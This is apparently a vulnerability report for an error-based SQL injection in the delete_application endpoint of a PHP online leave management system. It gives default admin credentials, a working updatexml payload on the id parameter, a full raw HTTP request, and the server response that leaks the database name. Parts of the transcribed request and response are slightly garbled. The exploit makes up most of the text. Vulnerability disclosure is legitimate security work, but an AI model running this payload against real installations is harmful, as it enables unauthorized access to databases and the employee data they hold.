

BUG\_Author: Tmoont

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html

Vulnerability File: /leave\_system/classes/Master.php?f=delete\_application

Vulnerability location: /leave\_system/classes/Master.php?f=delete\_application,id

dbname=leave\_db,length=8

[+] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /leave_system/classes/Master.php?f=delete_application HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate

DNT: 1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://192.168.1.19/leave\_system/admin/?page=maintenance/department

Content-Length: 65

Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5

Connection: close

id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+



POST /leave\_system/classes/Master.php?f=delete\_application | HTTP/1.1 |
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Content-Length: 65 |
Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5 |
Connection: close |
id=3' and updatexml (1, concat (0x7e, (select database()), 0x7e), 0)—+

HTTP/1.1 200 0K
Date: Tue, 09 Aug 2022 11:27:51 GMT
Server: Apache/2.4.48 (Winó4) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: \*
Content\_Length: 62
Connection: close
Content\_Type: text/html; charset=UTF-8

["status": "failed", "error": "XPATH syntax error: '~leave\_db~'"}